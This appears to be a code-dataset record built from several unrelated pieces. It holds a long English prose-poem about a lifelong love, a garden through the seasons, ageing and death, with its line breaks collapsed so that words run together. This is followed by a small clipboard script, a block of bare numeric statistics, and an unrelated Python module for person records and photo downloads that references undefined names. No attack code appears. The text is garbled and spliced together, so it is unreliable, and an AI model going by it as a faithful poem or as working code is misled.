benumbed for ever, like asun faded before it was night, on the day thatillness with its leaden arms dragged me heavilytowards its chair of weariness. # The flowers and the garden were fear or deceptionto me; my eyes suffered to see the white noonsflaming, and my two hands, my hands, seemed,before their time, too tired to hold captive ourtrembling happiness. # My desires had become no more than evil weeds;they bit at each other like thistles in the wind;I felt my heart to be at once ice and burningcoal and of a sudden dried up and stubborn inforgiveness. # But you said the word that gently comforts,seeking it nowhere else than in your immenselove; and I lived with the fire of your word, andat night warmed myself at it until the dawn ofday. # The diminished man I felt myself to be, both tomyself and all others, did not exist for you; yougathered flowers for me from the window-sill,and, with your faith, I believed in health. # And you brought to me, in the folds of your gown,the keen air, the wind of the fields and forests,and the perfumes of evening or the scents ofdawn, and, in your fresh and deep-felt kisses,the sun. # Everything that lives about us in the fragile andgentle light, frail grasses, tender branches,hollyhocks, and the shadow that brushes themlightly by, and the wind that knots them, and thesinging and hopping birds that swarm riotouslyin the sun like clusters of jewels,-- everythingthat lives in the fine ruddy garden loves usartlessly, and we--we love everything. # We worship the lilies we see growing; and thetall sunflowers, brighter than the Nadir--circles surrounded by petals of flames--burn oursouls through their glow. # The simplest flowers, the phlox and the lilac,grow along the walls among the feverfew, to benearer to our footsteps; and the involuntaryweeds in the turf over which we have passed opentheir eyes wet with dew. # And we live thus with the flowers and the grass,simple and pure, glowing and exalted, lost in ourlove, like the sheaves in the gold of the corn,and proudly allowing the imperious summer topierce our bodies, our hearts and our two willswith its full brightness. # Because you came one day so simply along thepaths of devotion and took my life into yourbeneficent hands, I love and praise and thank youwith my senses, with my heart and brain, with mywhole being stretched like a torch towards yourunquenchable goodness and charity. # Since that day, I know what love, pure and brightas the dew, falls from you on to my calmed soul.I feel myself yours by all the burning ties thatattach flames to their fire; all my body, all mysoul mounts towards you with tireless ardour; Inever cease to brood on your deep earnestness andyour charm, so much so that suddenly I feel myeyes fill deliciously with unforgettable tears. # And I make towards you, happy and calm, with theproud desire to be for ever the most steadfast ofjoys to you. All our affection flames about us;every echo of my being responds to your call; thehour is unique and sanctified with ecstasy, andmy fingers are tremulous at the mere touching ofyour forehead, as though they brushed the wing ofyour thoughts. # On days of fresh and tranquil health, when lifeis as fine as a conquest, the pleasant task sitsdown by my side like an honoured friend. # He comes from gentle, radiant countries, withwords brighter than the dews, in which to set,illuminating them, our feelings and our thoughts. # He seizes our being in a mad whirlwind; he liftsup the mind on giant pilasters; he pours into itthe fire that makes the stars live; he brings thegift of being God suddenly. # And fevered transports and deep terrors-- allserves his tragic will to make young again theblood of beauty in the veins of the world. # I am at his mercy like a glowing prey. # Therefore, when I return, though wearied andheavy, to the repose of your love, with the firesof my vast and supreme idea, it seems to me--oh!but for a moment--that I am bringing to you inmy panting heart the heart-beat of the universeitself. # Out of the groves of sleep I came, somewhatmorose because I had left you beneath theirbranches and their braided shadows, far from theglad morning sun. # Already the phlox and the hollyhocks glisten, andI wander in the garden dreaming of verses clearas crystal and silver that would ring in thelight. # Then abruptly I return to you with so great afervour and emotion that it seems to me as thoughmy thought suddenly has already crossed from afarthe leafy and heavy darkness of sleep to callforth your joy and your awakening. # And when I join you once more in our warm housethat is still possessed by darkness and silence,my clear, frank kisses ring like a dawn-song inthe valleys of your flesh. # Alas! when the lead of illness flowed in mybenumbed veins with my heavy, sluggish blood,with my blood day by day heavier and moresluggish; # When my eyes, my poor eyes, followed peevishly onmy long, pale hands the fatal marks of insidiousmalady; # When my skin dried up like bark, and I had nolonger even strength enough to press my fierylips against your heart, and there kiss ourhappiness; # When sad and identical days morosely gnawed mylife, I might never have found the will and thestrength to hold out stoically, # Had you not, each hour of the so long weeks,poured into my daily body with your patient,gentle, placid hands the secret heroism thatflowed in yours. # Our bright garden is health itself. # It is squandered in its brightness from thethousand hands of the branches and leaves as theywave to and fro. # And the pleasant shade that welcomes our feetafter the long roads pours into our tired limbsa quickening strength, gentle as the garden'smosses. # When the pond plays with the wind and the sun, aruddy heart seems to dwell in the depths of thewater, and to beat, ardent and young, with theripples; and the tall, straight gladioli and theglowing roses that move in their splendour holdout their golden goblets of red blood at the endof their living stalks. # Our bright garden is health itself. # It was June in the garden, our hour and our day,and our eyes looked upon all things with sogreat a love that the roses seemed to us to opengently, and to see and love us. # The sky was purer than it had ever been: theinsects and birds floated in the gold andgladness of an air as frail as silk, and ourkisses were so exquisite that they gave an addedbeauty to the sunshine and the birds. # It was as though our happiness had suddenlybecome azure, and required the whole sky whereinto shine; through gentle openings, all lifeentered our being, to expand it. # And we were nothing but invocatory cries, andwild raptures, and vows and entreaties, and theneed, suddenly, to recreate the gods, in order tobelieve. # The gift of yourself no longer satisfies you; youare prodigal of yourself: the rapture that bearsyou on to ever greater love springs up in youceaselessly and untiringly, and carries you everhigher towards the wide heaven of perfect love. # A clasp of the hands, a gentle look impassionsyou; and your heart appears to me so suddenlylovely that I am afraid sometimes of your eyesand your lips, and that I am unworthy and thatyou love me too much. # Ah! these bright ardours of an affection toolofty for a poor human being who has only a poorheart, all moist with regrets, all thorny withfaults, to feel their passing and dissolve intears. # Oh! the calm summer garden where nothing moves!Unless it be, near the middle of the bright andradiant pond, the goldfish like tongues of fire. # They are our memories playing in our thoughtsthat are calm and stilled and limpid, like thetrustful and restful water. # And the water brightens and the fishes leap atthe abrupt and marvellous sun, not far from thegreen irises and the white shells and stones,motionless about the ruddy edges. # And it is sweet to watch them thus come and goin the freshness and splendour that touches themlightly, careless and without fear that theywill bring from the depths to the surface otherregrets than fleeting. # As with others, an hour has its ill-humour: thepeevish hour or a malevolent humour has sometimesstamped our hearts with its black seals; and yet,in spite of all, even at the close of the darkestdays, never have our hearts said the irrevocablewords. # A radiant and glowing sincerity was our joy andcounsel, and our passionate soul found thereinever new strength, as in a ruddy flood. # And we recounted each to the other ourwretchedest woes, telling them like some harshrosary, as we stood facing one another, with ourlove rising in sobs; and our two mouths, at eachavowal, gently and in turn kissed our faults onthe lips that uttered them aloud. # Thus, very simply, without baseness or bitterwords, we escaped from the world and fromourselves, sparing ourselves all grief andgnawing cares, and watching the rebirth of oursoul, as the purity of glass and gold of awindow-pane is reborn after the rain, when thesun warms it and gently dries it. # The golden barks of lovely summer that set out,riotous for space, are returning sad and wearyfrom the blood-stained horizons. # With monotonous strokes of the oars, they advanceupon the waters; they are as cradles in whichsleep autumn flowers. # Stalks of lilies with golden brows, you all lieoverthrown; alone, the roses struggle to livebeyond death. # What matters to their full beauty that Octobershine or April: their simple and puerile desiredrinks all light until the blood comes. # Even on the blackest days, when the sky dies,they strive towards Christmas, beneath a harshand haggard cloud, the moment the first ray dartsthrough. # You, our souls, do as they; they have not thepride of the lilies; but within their folds theyguard a holy and immortal ardour. # Ardour of senses, ardour of hearts, ardour ofsouls, vain words created by those who diminishlove; sun, you do not distinguish among yourflames those of evening, of dawn, or of noon! # You walk blinded by your own light in the torridazure under the great arched skies, knowingnothing, unless it be that your strength isall-powerful and that your fire labours at thedivine mysteries. # For love is an act of ceaseless exaltation. O youwhose gentleness bathes my proud heart, what needto weigh the pure gold of our dream? I love youaltogether, with my whole being. # The still beauty of summer evenings on thegreenswards where they lie outspread holds out tous, without empty gesture or words, a symbol ofrest in gladness. # Young morning and its tricks has gone away withthe breezes; noon itself and the velvet skirtsof its warm winds, of its heavy winds, no longersweeps the torrid plain; and this is the hourwhen, without a branch's moving or a pond'sruffling its waters, the evening slowly comesfrom the tops of the mountains and takes its seatin the garden. # O the infinite golden flatness of the waters, andthe trees and their shadows on the reeds, andthe calm and sumptuous silence in whose stillpresence we so greatly delight that we desire tolive with it always or to die of it and reviveby it, like two imperishable hearts tirelesslydrunken with brightness. # You said to me, one evening, words so beautifulthat doubtless the flowers that leaned towards ussuddenly loved us, and one among them, in orderto touch us both, fell upon our knees. # You spoke to me of a time nigh at hand when ouryears like over-ripe fruit would be ready for thegathering, how the knell of destiny would ringout, and how we should love each other, feelingourselves growing old. # Your voice enfolded me like a dear embrace, andyour heart burned so quietly beautiful, that atthat moment I could have seen without fear thebeginning of the tortuous roads that lead to thetomb. # "Hours of bright morning," "Hours of afternoon,"hours that stand out superbly and gently, whosedance lengthens along our warm garden-paths,saluted at passing by our golden rose-trees;summer is dying and autumn coming in. # Hours girt with blossom, will you ever return? # Yet, if destiny, that wields the stars, spares usits pains, its blows and its disasters, perhapsone day you will return, and, before my eyes,interweave in measure your radiant steps; # And I will mingle with your glowing, gentledance, winding in shade and sun over the lawns--like a last, immense and supreme hope--thesteps and farewells of my "hours of evening." # THE HOURS OF EENING # Dainty flowers, like a froth of foam, grew alongthe borders of our paths; the wind fell and theair seemed to brush your hands and hair withplumes. # The shade was kindly to us as we walked in stepbeneath the leafage; a child's song reached usfrom a village, and filled all the infinite. # Our ponds were outspread in their autumnsplendour under the guard of the long reeds, andthe lofty, swaying crown on the woods' fine browwas mirrored in the waters. # And both knowing that our hearts were broodingtogether on the same thought, we reflected thatit was our calmed life that was revealed to us inthis lovely evening. # For one supreme moment, you saw the festival skydeck itself out and say farewell to us; and for along, long while you gave it your eyes filled tothe brim with mute caresses. # If it were true that a garden flower or a meadowtree could keep some memory of lovers of othertimes who admired them in their bloom or theirvigour, our love in this hour of long regretwould come and entrust to the rose or erectin the oak, before the approach of death, itssweetness or its strength. # Thus it would survive, victor over funereal care,in the tranquil godship conferred on it by simplethings; it would still enjoy the pure brightnesscast on life by a summer dawn and the soft rainhanging to the leaves. # And if on a fine evening, out of the depths ofthe plain, a couple came along, holding hands,the oak would stretch out its broad and powerfulshade like a wing over their path, and the rosewould waft them its frail perfume. # The wistaria is faded and the hawthorn dead; butthis is the season of the heather in flower, andon this calm and gentle evening the caressingwind brings you the perfumes of poor Campine. # Love them and breathe them in while brooding overits fate; its soil is bare and harsh and the windwars on it; pools make their holes in it; thesand preys on it, and the little left to it, ityet gives. # Once in autumn, we lived with it, with its plainand its woods, with its rain and its sky, even toDecember when the Christmas angels crossed itslegend with mighty strokes of their wings. # Your heart became more steadfast there, simplerand more human; we loved the people of its oldvillages, and the women who spoke to us of theirgreat age and of spinning-wheels fallen from use,worn out by their hands. # Our calm house on the misty heath was bright tolook upon and ready in its welcome; and dear tous were its roof and its door and its thresholdand its hearth blackened by the smoky peat. # When night spread out its total splendour overthe vast and pale and innumerable somnolence, thesilence taught us lessons, the glow of which oursoul has never forgotten. # Because we felt more lonely in the vast plain,the dawns and the evenings sank more deeplyinto us; our eyes were franker, our hearts weregentler and filled to the brim with the fervourof the world. # We found happiness by not asking for it; even thesadness of the days was good for us, and the fewsun-rays of that end of autumn gladdened us allthe more because they seemed weak and tired. # The wistaria is faded and the hawthorn dead; butthis is the season of the heather in flower. Thisevening, remember, and let the caressing windbring you the perfumes of poor Campine. # Draw up your chair near mine, and stretch yourhands out towards the hearth that I may seebetween your fingers the old flame burning; andwatch the fire quietly with your eyes that fearno light, that they may be for me still frankerwhen a quick and flashing ray strikes to theirdepths, illuminating them. # Oh! how beautiful and young still our life iswhen the clock rings out with its golden tone,and, coming closer, I brush you lightly and touchyou, and a slow and gentle fever that neitherdesires to allay leads the sure and wondrouskiss from the hands to the forehead and from theforehead to the lips. # How I love you then, my bright beloved, in yourwelcoming, gently swooning body, that encirclesme in its turn and dissolves me in its gladness!Everything becomes dearer to me--your mouth, yourarms, your kindly breasts where my poor, tiredforehead will lie quietly near your heart afterthe moment of riotous pleasure that you grant me. # For I love you still better after the sensualhour, when your goodness, still more steadfastand maternal, makes for me a soft repose,following sharp ardour, and when, after desirehas cried out its violence, I hear approachingour regular happiness with steps so gentle thatthey are but silence. # Be once more merciful and cheering to us, light,pale brightness of winter that will bathe ourbrows when of an afternoon we both go into thegarden to breathe in one last warmth. # We loved you long ago with so great a pride, withso great a love springing from our hearts, thatone supreme and gentle and kindly flame is due tous at this hour when grief awaits us. # You are that which no man ever forgets, from theday when you first struck his victorious arms,and when, on the coming of evening, you slept inhis eyes with your dead splendour and vanquishedstrength. # And for us you were always the visible fervourthat, being everywhere diffused and shining infevers of deep and stinging ardour, seemed tostart for the infinite from our heart. # Alas! the days of the crimson phlox and of theproud roses that brightened its gates are faraway, but however faded and withered it maybe--what matters!--I love our garden still withall my heart. # Its distress is sometimes dearer and sweeter tome than was its gladness in the burning summerdays. Oh! the last perfume slowly rendered up byits last flower on its last mosses! # I wandered this evening among its windingpathways, to touch with my earnest fingers allits plants; and falling on my knees amid thetrembling grasses, I gave a long kiss to its dampand heavy soil. # And now let it die, and the mist and night comeand spread over all; all my being seems tohave entered into our garden's ruin, and, byunderstanding its death, I shall learn to know myown. # The evening falls, the moon is golden. # Before the day ends, go gaily into the garden andpluck with your gentle hands the few flowers thathave not yet bowed sadly towards the earth. # Though their leaves may be wan, what matters! Iadmire them and you love them, and their petalsare beautiful, in spite of all, on the stalksthat bear them. # And you went away into the distance among thebox-trees, along a monotonous path, and thenosegay that you plucked trembled in your handand suddenly quivered; and then your dreamingfingers devoutly gathered together theseglimmering autumn roses and wove them with tearsinto a pale and bright and supple crown. # The last light lit up your eyes, and your longstep became sad and silent. # And slowly in the twilight you returned withempty hands to the house, leaving not far fromour door, on a damp, low hillock, the whitecircle that your fingers had formed. # And I understood then that in the weary gardenwherethrough the winds will soon pass likesquadrons, you desired for the last time to adornwith flowers our youth that lies there dead. # When your hand, on an evening of the sluggishmonths, commits to the odorous cupboards thefruits of your orchard, I seem to see you calmlyarranging our old perfumed and sweet-tastingmemories. # And my relish for them returns, as it was informer years in the gold and the sun and withthe wind on my lips; and then I see a thousandmoments done and gone, and their gladness andtheir laughter and their cries and their fevers. # The past reawakens with so great a desire to bethe present still, with its life and strength,that the hardly extinguished fires suddenly burnmy body, and my heart rejoices to the point ofswooning. # O beautiful luminous fruits in these autumnshadows, jewels fallen from the heavy necklaceof russet summer, splendours that light up ourmonotonous hours, what a ruddy and spaciousawakening you stir up in us! # And now that the lofty leaves have fallen, thatkept our garden sheltered beneath their shade,through the bare branches can be seen beyond themthe roofs of the old villages climbing towardsthe horizon. # So long as summer poured out its gladness, noneof us saw them grouped so near our door; but nowthat the flowers and the leaves are withered, weoften brood on them with gentle thoughts. # Other people live there between stone walls,behind a worn threshold protected by a coping,having as sole friends but the wind and the rainand the lamp shining with its friendly light. # In the darkness at the fall of evening, when thefire awakens and the clock in which time swingsis hushed, doubtless, as much as we, they lovethe silence, to feel themselves thinking throughtheir eyes. # Nothing disturbs for them or for us those hoursof deep and quiet and tender intimacy wherein themoment that was is blessed for having been, andof which the coming hour is always the best. # Indeed, how they also clench the old happiness,made up of pain and joy, within their tremblinghands; they know each other's bodies that havegrown old together, and each other's looks wornout by the same sorrows. # The roses of their life, they love them faded,with their dead glory and their last perfume andthe heavy memory of their dead brightness fallingaway, leaf by leaf, in the garden of the years. # Against black winter, like hermits, they staycrouching within their human fervour, and nothingdisheartens them and nothing leads them tocomplain of the days they no longer possess. # Oh! the quiet people in the depths of oldvillages! Indeed, do we not feel them neighboursof our heart! And do we not find in their eyesour tears and in their courage our strength andardour! # They are there beneath their roof, seatedaround fires, or lingering sometimes at theirwindow-sill; and on this evening of spacious,floating wind, perhaps they have thought of uswhat we think of them. # When the starry sky covers our dwelling, we hushfor hours before its intense and gentle fire,so that we may feel a greater and more ferventstirring within us. # The great silver stars follow their courses highup in the heavens; beneath the flames and thegleams, night spreads out its depths, and thecalm is so great that the ocean listens! # But what matters even the hushing of the sea, ifin the brightness and immensity of space, full ofinvisible violence, our hearts beat so stronglythat they make all the silence? # With the same love that you were for me long agoa garden of splendour whose wavering coppicesshaded the long grass and the docile roses,you are for me in these black days a calm andsteadfast sanctuary. # All is centred there: your fervour and yourbrightness and your movements assembling theflowers of your goodness; but all is drawntogether closely in a deep peace against thesharp winds piercing the winter of the world. # My happiness keeps warm there within your foldedarms; your pretty, artless words, in theirgladness and familiarity, sing still with asgreat a charm to my ears as in the days of thewhite lilac or of the red currants. # Oh! I feel your gay and shining cheerfulnesstriumphing day by day over the sorrow of theyears, and you yourself smile at the silverthreads that slip their waving network into yourglossy hair. # When your head bends to my deep-felt kiss, whatdoes it matter to me that your brow is furrowed,and that your hands are becoming ridged with hardveins when I hold them between my two steadfasthands! # You never complain, and you believe firmly thatnothing true dies when love receives its meed,and that the living fire on which our soul feedsconsumes even grief to increase its flame. # The flowers of bright welcome along the wallawait us no longer when we go indoors, and oursilken ponds whose smooth waters chafe lieoutstretched no more beneath pure, soft skies. # All the birds have fled our monotonous plains,and pallid fogs float over the marshes. O thosetwo cries: autumn, winter! winter, autumn! Do youhear the dead wood falling in the forest? # No more is our garden the husband of light,whence the phlox were seen springing towardstheir glory; our fiery gladioli are mingled withthe earth, and have lain down in their length todie. # Everything is nerveless and void of beauty;everything is flameless and passes and flees andbends and sinks down unsupported. Oh! give meyour eyes lit up by your soul that I may seek inthem in spite of all a corner of the old sky. # In them alone our light lives still, the lightthat covered all the garden long ago, when itexulted with the white pride of our lilies andthe climbing ardour of our hollyhocks. # When the fine snow with its sparkling grainssilts over our threshold, I hear your footstepswander and stop in the neighbouring room. # You withdraw the bright and fragile mirror fromits place by the window, and your bunch ofkeys dances along the drawer of the beech-woodwardrobe. # I listen, and you are poking the fire andarousing the embers; and you are arranging aboutthe silent walls the silence of the chairs. # You remove the fleeting dust from the workbasketwith the narrow feet, and your ring strikes andresounds on the quivering sides of a wine-glass. # And I am more happy than ever this evening atyour tender presence, and at feeling you near andnot seeing you and ever hearing you. # If fate has saved us from commonplace errors andfrom vile untruth and from sorry shams, it isbecause all constraint that might have bowed ourdouble fervour revolted us. # You went your way, free and frank and bright,mingling with the flowers of love the flowers ofyour will, and gently lifting up towards yourselfits lofty spirit when my brow was bent towardsfear or doubt. # And you were always kind and artless in youracts, knowing that my heart was for ever yours;for if I loved--do I now know?--some other woman,it is to your heart that I always returned. # Your eyes were then so pure in their tears thatmy being was stirred to sincerity and truth; andI repeated to you holy and gentle words, and yourweapons were sadness and forgiveness. # And in the evening I lulled my head to sleep onyour bright bosom, happy at having returned fromfalse and dim distances to the fragrant springthat bore sway in us, and I remained a captive inyour open arms. # No, my heart has never tired of you. # In the time of June, long ago, you said to me:"If I knew, friend, if I knew that my presenceone day might be a burden to you-- with my poorheart and sorrowful thoughts, I would go away, nomatter where." # And gently your forehead rose towards my kiss. # And you said to me again: "Bonds loosen alwaysand life is so full, and what matters if thechain is golden that ties to the same ring inport our two human barks!" # And gently your tears revealed to me your grief. # And you said and you said again: "Let usseparate, let us separate before the evil days;our life has been too lofty to drag it triviallyfrom fault to fault." # And you fled and you fled, and my two handsdesperately held you back. # No, my heart has never tired of you. # How happy we are still and proud of living whenthe least ray of sunshine glimpsed in the heavenslights up for a moment the poor flowers of rimethat the hard and delicate frost engraved on ourwindow-panes. # Rapture leaps in us and hope carries us away, andour old garden appears to us again, in spite ofits long paths strewn with dead branches, livingand pure and bright and full of golden gleams. # Something shining and undaunted, I know not what,creeps into our blood; and in the quick kissesthat, ardently, frantically, we give each other,we re-embody the immensity and fulness of summer. # Shall we suffer, alas! the dead weight of theyears until at length we are no more than twoquiet people, exchanging the harmless kisses ofchildren at evening when the fire flames in thehollow of the chimney? # Shall our dear furniture see us drag ourselveswith slow steps from the hearth to the beechenchest, support ourselves by the wall to reach thewindow, and huddle our tottering bodies on heavyseats? # If our wreck is to appear one day in such guise,while numbness deadens our brains and our arms,we shall not bemoan, in spite of evil fate, andwe shall hold our tears pent up in our breasts. # For even so, we shall still keep our eyes withwhich to gaze on the day that follows night, andto see the dawn and the sun shed their radianceon life, and make a wonderful object of theearth. # The small happenings, the thousand nothings, aletter, a date, a humble anniversary, a word saidonce again as in days long ago uplift your heartand mine in these long evenings. # And we celebrate for ourselves these simplethings, and we count and recount our oldtreasures, so that the little of us that we stillkeep may remain steadfast and brave before thesullen hour. # And more than is fitting, we show ourselvessolicitous of these poor, gentle, kindly joysthat sit down on the bench near the flaming firewith winter flowers on their thin knees. # And they take from the chest where their goodnesshides it the bright bread of happiness that wasallotted to us, and of which Love in our househas so long eaten that he loves it even to thecrumbs. # Come even to our threshold, scattering yourwhite ash, O peaceful, slowly falling snow: thelime-tree in the garden holds all its branchesbowed, and the light calandra dissolves in thesky no longer. # O snow, who warm and protect the barely risingcorn with the moss and wool that you spread fromplain to plain! Silent snow, the gentle friend ofthe houses asleep in the calm of morning: # Cover our roof and lightly touch our windows, andsuddenly enter by the door over the thresholdwith your pure flakes and your dancing flames, # O snow, luminous through our soul, snow, who alsowarm our last dreams like the rising corn! # When our bright garden was gay with all itsflowers, the regret at having shrunk our heartssprang from our lips in moments of passion; andforgiveness, offered but deserved always, andthe exaggerated display of our wretchedness andso many tears moistening our sad, sincere eyesuplifted our love. # But in these months of heavy rain, wheneverything huddles together and makes itselfsmall, when brightness itself tires of thrustingback shadow and night, our soul is no longervibrant and strong enough to confess our faultswith rapture. # We tell them in slow speech; in truth, withaffection still, but at the fall of the eveningand no longer at dawn; sometimes even we countthem on our ten fingers like things that wenumber and arrange in the house, and to lessentheir folly or their number we debate them. # With my old hands lifted to your forehead,during your brief sleep by the black hearth thisevening, I part your hair, and I kiss the fervourof your eyes hidden beneath your long lashes. # Oh! the sweet affection of this day's end! Myeyes follow the years that have completed theircourse, and suddenly your life appears so perfectin them that my love is moved by a touchingrespect. # And as in the time when you were my betrothed,the desire comes back to me again in all itsardour to fall on my knees, and with fingers aschaste as my thoughts to touch the place whereyour gentle heart beats. # If our hearts have burned in uplifting days witha love as bright as it was lofty, age now makesus slack and indulgent and mild before our faults. # You no longer make us greater, O youthful will,with your unsubdued ardour, and our life iscoloured now with gentle calm and pale kindliness. # We are at the setting of your sun, love, and wemask our weakness with the common-place words andpoor speeches of an empty, tardy wisdom. # Oh! how sad and shameful would the future be forus if from our winter and our mistiness theredid not break out like a torch the memory of thehigh-spirited souls we once were. # In this rugged winter when the floating sunfounders on the horizon like a heavy wreck, Ilove to say your name, with its slow, solemntone, as the clock echoes with the deep strokesof time. # And the more I say it, the more ravished is myvoice, so much so that from my lips it descendsinto my heart and awakens in me a more glowinghappiness than the sweetest words I have spokenin my life. # And before the new dawn or the evening fallingto sleep, I repeat it with my voice that is everthe same, but oh! with what strength and supremeardour shall I pronounce it at the hour of death! # Perhaps, when my last day comes, perhaps, if onlyfor a moment, a frail and quavering sun willstoop down at my window. # My hands then, my poor faded hands, will even sobe gilded once again by his glory; he will touchmy mouth and my forehead a last time with hisslow, bright, deep kiss; and the pale, but stillproud flowers of my eyes will return his lightbefore they close. # Sun, have I not worshipped your strength and yourbrightness! My torrid, gentle art, in its supremeachievement has held you captive in the heart ofmy poems; like a field of ripe wheat that surgesin the summer wind, this page and that of mybooks confers life on you and exhalts you: # O Sun, who bring forth and deliver, O immensefriend of whom our pride has need, be it that atthe new, solemn and imperious hour when my oldhuman heart will be heavy under the proof, youwill come once more to visit it and witness. # Oh! how gentle are your hands and their slowcaress winding about my neck and gliding over mybody, when I tell you at the fall of evening howmy strength grows heavy day by day with the leadof my weakness! # You do not wish me to become a shadow and a wrecklike those who go towards the darkness, eventhough they carry a laurel in their mournfulhands and fame sleeping in their hollow chest. # Oh! how you soften the law of time for me, andhow comforting and generous to me is your dream;for the first time, with an untruth you lull myheart, that forgives you and thanks you for it, # Well knowing, nevertheless, that all ardour isvain against all that is and all that must be,and that, by finishing in your eyes my fine humanlife, may perhaps be found a deep happiness. # When you have closed my eyes to the light, kissthem with a long kiss, for they will have givenyou in the last look of their last fervour theutmost passionate love. # Beneath the still radiance of the funeral torch,bend down towards the farewell in them your sadand beautiful face, so that the only image theywill keep in the tomb may be imprinted on themand may endure. # And let me feel, before the coffin is nailed up,our hands meet once again on the pure, white bed,and your cheek rest one last time against myforehead on the pale cushions. # And let me afterwards go far away with my heart,which will preserve so fiery a love for you thatthe other dead will feel its glow even throughthe compact, dead earth!"""import clipboardbackup=clipboard.paste()ans=""# removed numberfor i in text.split(""""""):#danhang # print(i) # print("-------") if i=="": continue ans+=i+"\n"print(backup)clipboard.copy(ans)
148.375546
405
0.795014
11,560
67,956
4.673529
0.258391
0.006478
0.001629
0.000888
0.014956
0.01279
0.010625
0.0087
0.006552
0.006552
0
0
0.174378
67,956
458
405
148.375546
0.962927
0.987477
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
ec66ca7595a722bbe52d83f9d72bbcd3c3c972ab
7,180
py
Python
scripts/person.py
ruofeidu/DuWebKit
1b06b62d1ee84edfedb37e60e8e15df28303469b
[ "ICU" ]
4
2020-02-16T21:10:57.000Z
2021-07-31T19:22:51.000Z
scripts/person.py
ruofeidu/DuWebKit
1b06b62d1ee84edfedb37e60e8e15df28303469b
[ "ICU" ]
null
null
null
scripts/person.py
ruofeidu/DuWebKit
1b06b62d1ee84edfedb37e60e8e15df28303469b
[ "ICU" ]
1
2020-02-16T21:11:50.000Z
2020-02-16T21:11:50.000Z
"""Person defines a person with his cooresponding properties. This class allows a person to get names. """ import re import os import json from scripts.utils.dumark import DuMark from scripts.data import Data from scripts.utils.ducrawler import DuCrawler from scripts.utils.constants import SCHOLAR_PHOTO_LOCAL, SCHOLAR_PHOTO_URL, WEBSITE_PHOTO_LOCAL from datetime import datetime import datetime re_birthday = re.compile('(\d+)\/(\d+)\/\d+') class Person: __slots__ = ('_data') def __init__(self, row): # type: (self, list(str)) -> None self._data = {} b = self._data for i, label in enumerate(Person.get_header()): b[label] = row[i] if i < len(row) else '' if not ('pid' in b and b['pid'] and not Data.has_pid(b['pid'])): i, suffix = 1, '' while True: pid = row[2].lower() + row[1].lower() + suffix if not Data.has_pid(pid): b['pid'] = pid break i += 1 suffix = str(i) def __str__(self): return '%s %s' % (self._data['first'], self._data['last']) def get_name_markdown(self): if 'web' in self._data and self._data['web'] and not self.is_me(): return DuMark.get_website(self._data['web'], str(self)) else: return str(self) def to_json(self): return json.dumps({'_data': self._data}) def to_dict(self): return self._data def get_bib(self): return '%s, %s' % (self._data['last'], self._data['first']) def set_name(self, first, last): self._data = {'first': first, 'last': last} def get_last(self): return self._data['last'] def get_first(self): return self._data['first'] def get_middle(self): return self._data['middle'] def get_pid(self): return self._data['pid'] def get_first_name(self): return self.get_first() def get_last_name(self): return self.get_last() def get_middle_name(self): return self.get_middle() def get_initials(self): initials = self.get_first()[0] + '.' if self.get_middle() and not self.get_middle()[0].isdigit(): initials += '.' + self.get_middle() + '.' return initials def get_apa(self): return self.get_last() + ', ' + self.get_initials() def get_mla(self): return self.get_last() + ', ' + self.get_first() # Returns the full name, separated by spaces without numerical marks. # Filters empty middle names. def get_name(self): return ' '.join( list( filter(None, [ self.get_first_name(), re.sub(r'\d+', '', self.get_middle_name()), self.get_last_name() ]))) def is_me(self): return self._data['web'] == 'duruofei.com' def get_original_name(self): return self._data['original'] def get_full_name_with_marks(self): return ' '.join( list( filter(None, [ self.get_first_name(), self.get_middle_name(), self.get_last_name() ]))) # Returns a unique file name with First_Middle_Last. def _get_filename(self): return '_'.join( list( filter(None, [ self.get_first_name(), self.get_middle_name(), self.get_last_name() ]))) def get_birthday_to_today(self): date = self._data['birthday'] if date.find('/') >= 0: date_match = re_birthday.match(date) if date_match is None: print('* ' + date) today = datetime.date.today() year = today.year month = int(date_match.group(1)) day = int(date_match.group(2)) if today.month == 12 and month == 1: year = year + 1 birthday = datetime.date(year, month, day) return (birthday - today).days else: INVALID_BIRTHDAY_DIFF = -365 return INVALID_BIRTHDAY_DIFF def get_birthday_str(self): return self._data['birthday'] def get_name_google_markdown(self): return DuMark.get_google(self.get_name()) def get_best_face_markdown(self): if self.check_scholar_photo_valid(): return DuMark.get_image('../' + self._get_local_scholar_photo_url, self.get_name()) if 'face' in self._data: return DuMark.get_image(self._data['face'], self.get_name()) else: return '' def get_face_raw_markdown(self): if 'face' in self._data: return DuMark.get_image(self._data['face'], self.get_name()) else: return '' def get_website_markdown(self): return DuMark.get_website(self._data['web']) def get_email_markdown(self): return DuMark.get_email(self._data['email']) def get_facebook_markdown(self): return DuMark.get_facebook(self._data['FB']) def get_twitter_markdown(self): return DuMark.get_twitter(self._data['twitter']) def get_scholar_markdown(self): return DuMark.get_scholar(self._data['scholar']) def get_linkedin_markdown(self): return DuMark.get_linkedin(self._data['linkedin']) def get_instagram_markdown(self): return DuMark.get_instagram(self._data['instagram']) def get_github_markdown(self): return DuMark.get_github(self._data['github']) def get_vimeo_markdown(self): return DuMark.get_vimeo(self._data['vimeo']) def get_youtube_markdown(self): return DuMark.get_youtube(self._data['youtube']) def get_researchgate_markdown(self): return DuMark.get_researchgate(self._data['gate']) def _get_local_scholar_photo_url(self): return SCHOLAR_PHOTO_LOCAL % self._get_filename() def check_scholar_photo_existed(self): url = self._get_local_scholar_photo_url() return os.path.isfile(url) def check_scholar_photo_valid(self): url = self._get_local_scholar_photo_url() return os.path.isfile(url) and os.path.getsize(url) > 2864128 def download_scholar_photo(self): if self._data['scholar']: filename = self._get_local_scholar_photo_url() DuCrawler.download_file(SCHOLAR_PHOTO_URL % self._data['scholar'], filename) def _get_local_linkedin_photo_url(self): return LINKEDIN_PHOTO_LOCAL % self._get_filename() def download_linkedin_photo(self): if self._data['linkedin']: filename = self._get_local_scholar_photo_url() DuCrawler.download_image(LINKEDIN % self._data['linkedin'], filename, {'class': 'pv-top-card-section__photo'}) def check_linkedin_photo_existed(self): url = self._get_local_linkedin_photo_url() return os.path.isfile(url) def _get_local_website_photo_url(self): return WEBSITE_PHOTO_LOCAL % self._get_filename() def check_website_photo_existed(self): url = self._get_local_website_photo_url() return os.path.isfile(url) def download_website_photo(self): if self._data['face']: filename = self._get_local_website_photo_url() DuCrawler.download_file(self._data['face'], filename) # Sets the header of the properties of the Person class from gSheet. 